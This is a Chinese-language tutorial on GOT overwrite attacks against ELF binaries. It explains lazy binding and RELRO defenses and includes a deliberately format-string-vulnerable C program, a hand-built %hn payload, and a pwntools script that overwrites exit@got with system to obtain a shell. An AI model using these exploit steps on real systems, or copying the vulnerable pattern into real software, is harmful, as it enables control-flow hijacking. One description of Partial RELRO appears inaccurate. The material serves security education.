理解GOT覆写的前提是搞清楚ELF动态链接如何解析外部函数。一个动态链接的可执行文件在调用printf、system这类函数时,代码段中的call指令并不会直接指向函数在libc中的实际地址,因为编译阶段根本不知道这个地址。链接器为每个外部符号在数据段中预留了一个指针槽位,也就是全局偏移表条目。代码先跳转到过程链接表,再由过程链接表间接跳转到GOT中保存的地址。这个地址默认指向解析例程,只有第一次调用时才被改写为真实函数地址。如果攻击者提前把这个槽位改成自己的地址,下一次调用就会执行攻击者选定的代码,这就是GOT覆写的基本思路。

一、延迟绑定:GOT条目如何被写入
动态链接库加载后,共享库的代码段通常被多个进程映射到不同虚拟地址,因此无法在链接时确定全局变量的绝对地址。位置无关代码采用GOT来间接访问这些符号。对于函数调用,GOT条目初始存放的是PLT表中的一个地址,该地址会跳到动态链接器提供的解析函数。第一次调用某个外部函数时,处理器进入PLT,读取GOT条目,发现尚未解析,于是转入_dl_runtime_resolve。解析器根据函数名在libc中查找真实地址,然后把这个地址写回对应的GOT条目。第二次及以后的调用就直接通过GOT跳到真实函数,不再经过解析器。这个过程称为延迟绑定,避免了程序启动时解析所有动态符号。比如下面这个简单程序:
#include <stdio.h>
int main(void) {
puts("GOT test");
return 0;
}
用objdump查看main函数的反汇编,可以看到call puts@plt,而不是call puts的真实地址。再查看GOT条目,在调用puts之前,该条目保存的是plt+6处的地址,而在puts第一次返回后,它已经被替换为libc中puts的实际地址。这个写入时机也决定了GOT覆写必须在第一次解析之后进行,否则即使写了也可能被后续正常解析覆盖。
需要区分的是,数据符号和函数符号都使用GOT,但函数GOT用于跳转,数据GOT用于取值。GOT覆写更多针对函数条目,因为修改函数指针可以直接改变执行流。后面讨论的利用也围绕函数GOT展开。
二、GOT覆写的两个前提与常见写原语
要成功覆写GOT,攻击者需要同时具备两个条件。第一,目标进程的GOT区域必须是可写的。在默认编译或仅开启Partial RELRO时,GOT位于可读写的数据段,允许被覆写;如果开启了Full RELRO,GOT会在启动阶段被重新映射为只读,任何写操作都会导致段错误。第二,攻击者必须拥有任意地址写或相对地址写的能力。格式化字符串漏洞、堆溢出、越界写、释放后使用等都可能提供这种能力,其中格式化字符串因为可以精确控制写地址和写值,常被用来演示GOT覆写。
最经典的利用路径是把exit、printf或strlen等即将被调用的函数GOT条目覆盖为system。由于system接收一个字符串参数并把它当作shell命令执行,攻击者只需要让程序随后调用被覆盖的函数,并传入/bin/sh这样的字符串,就能拿到shell。实际利用时通常不会直接写入system的完整8字节地址,因为32位和64位地址中经常包含空字节,格式化字符串的%n系列写入又无法直接产生0x00。常见的做法是分两次或三次写入,每次用%hn写入两个字节,或者用%hhn写入一个字节,从低地址到高地址依次完成。
下面这段代码包含一个明显的格式化字符串漏洞,read函数读入的内容被直接作为printf的格式串,攻击者可以借此实现任意地址写:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void vuln(void) {
char buf[128];
while (1) {
memset(buf, 0, sizeof(buf));
read(0, buf, 127);
printf(buf);
puts("loop");
}
}
int main(void) {
vuln();
return 0;
}
程序编译时不建议开启PIE,这样可以先固定GOT地址。运行后,printf(buf)会直接解析buf中可能存在的格式化控制符,通过%n可以把已输出字符数写到栈上某个指针指向的地址。攻击者控制栈上的参数,使某个参数指向exit@got,就能开始覆写。
三、实战步骤:从偏移定位到分步写入
以32位环境为例,假设漏洞程序关闭了PIE,通过readelf -r可以查到exit的GOT地址为0x0804a018,通过libc基址可以算出system的地址为0xf7e4c7e0。现在目标是把这个值写入exit@got。由于0x0804a018本身不包含空字节,可以先把它作为格式化字符串的开头,然后寻找它在printf参数中的偏移。通常的做法是先发送AAAA%p.%p.%p.%p.%p.%p.%p这样的探测串,如果第7个%p打印出0x41414141,就说明偏移为7。最终payload可以写成:
import struct
exit_got = 0x0804a018
system_addr = 0xf7e4c7e0
# 拆成两个16位写入
low = system_addr & 0xffff # 0xc7e0
high = (system_addr >> 16) & 0xffff # 0xf7e4
payload = struct.pack('I', exit_got)
payload += struct.pack('I', exit_got + 2)
# 先写低位,再写高位
payload += '%{}c'.format(low - 8).encode()
payload += b'%7$hn'
payload += '%{}c'.format((high - low) & 0xffff).encode()
payload += b'%8$hn'
这段脚本先把两个GOT地址放到栈上偏移7和8的位置,然后用%7$hn向第7个参数指向的地址写入2字节,再用%8$hn写入高2字节。这里两次写入值的差值需要取模处理,因为%hn写入的是已输出字符总数,只能增加不能减少。当程序循环回printf(buf)时,GOT中的exit已经被改成system,接下来如果程序退出并调用exit,实际上会调用system,配合/bin/sh就能获得Shell。64位情况类似,只是需要把地址拆成更多部分,并且注意高地址中的空字节不适合直接放在格式化字符串中间,可以放到末尾。
除了手动构造,pwntools提供了fmtstr_payload函数,可以自动完成偏移计算和分步写入。下面是用它覆写exit@got的完整示例:
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# 假设已经通过泄露得到libc基址
libc_base = 0xf7d00000
system = libc_base + libc.symbols['system']
exit_got = elf.got['exit']
# 偏移需要根据实际程序确定
offset = 7
payload = fmtstr_payload(offset, {exit_got: system})
p.sendline(payload)
p.interactive()
这个脚本会生成类似前面手动构造的格式串,但它会智能处理%hhn、%hn和地址布局。实际利用时仍然需要先确认偏移,并且如果程序启用了PIE,还需要先泄露程序基址才能定位GOT。对于Full RELRO的程序,fmtstr_payload即使生成了写攻击也无法成功,因为GOT区域本身不可写,运行时会直接崩溃。
四、防御机制:把GOT变成只读区域
GOT覆写之所以在过去非常流行,很大程度上是因为早期Linux发行版默认只使用Partial RELRO,甚至完全不启用RELRO。Partial RELRO会把GOT分成两部分,一部分是只读的.rel.dyn,另一部分是可写的.got.plt,攻击仍然可行。Full RELRO则在动态链接器完成所有重定位后,将整个GOT区域设为只读。实现上需要在编译时使用-Wl,-z,relro,-z,now选项,或者链接器标志中的relro和now。这里的now表示立即绑定,程序启动时就把所有外部函数地址解析并写入GOT,随后GOT被mprotect为只读。这样即使攻击者拥有任意地址写,也无法修改函数指针,GOT覆写被彻底阻断。
代价是程序启动时需要一次性解析所有动态符号,可能略微增加加载时间,对于大型程序可能达到几十毫秒甚至更多。不过在现代系统上,安全性收益远大于这点性能损失,因此主流Linux发行版构建的守护进程和网络服务默认开启Full RELRO。另一方面,地址随机化也提高了利用门槛。即使GOT可写,攻击者还需要知道system的地址,通常需要先泄露libc基址。如果配合PIE和ASLR,攻击者必须同时泄露代码段和libc地址,才能完成覆写。
更深层的防御思路还包括栈保护、非执行栈、堆隔离等。GOT覆写只是一个控制流劫持手段,真正有效的整体防御是限制攻击者获得内存写原语。现代编译器和链接器也提供了_FORTIFY_SOURCE、堆元数据校验等加固。对于二进制安全学习者来说,GOT覆写仍然是理解动态链接和漏洞利用的重要切入点,但在实际目标中,它通常需要结合其他信息泄露才能发挥作用。
GOT覆写Global Offset TableELF动态链接修改时间:2026-09-28 05:08:15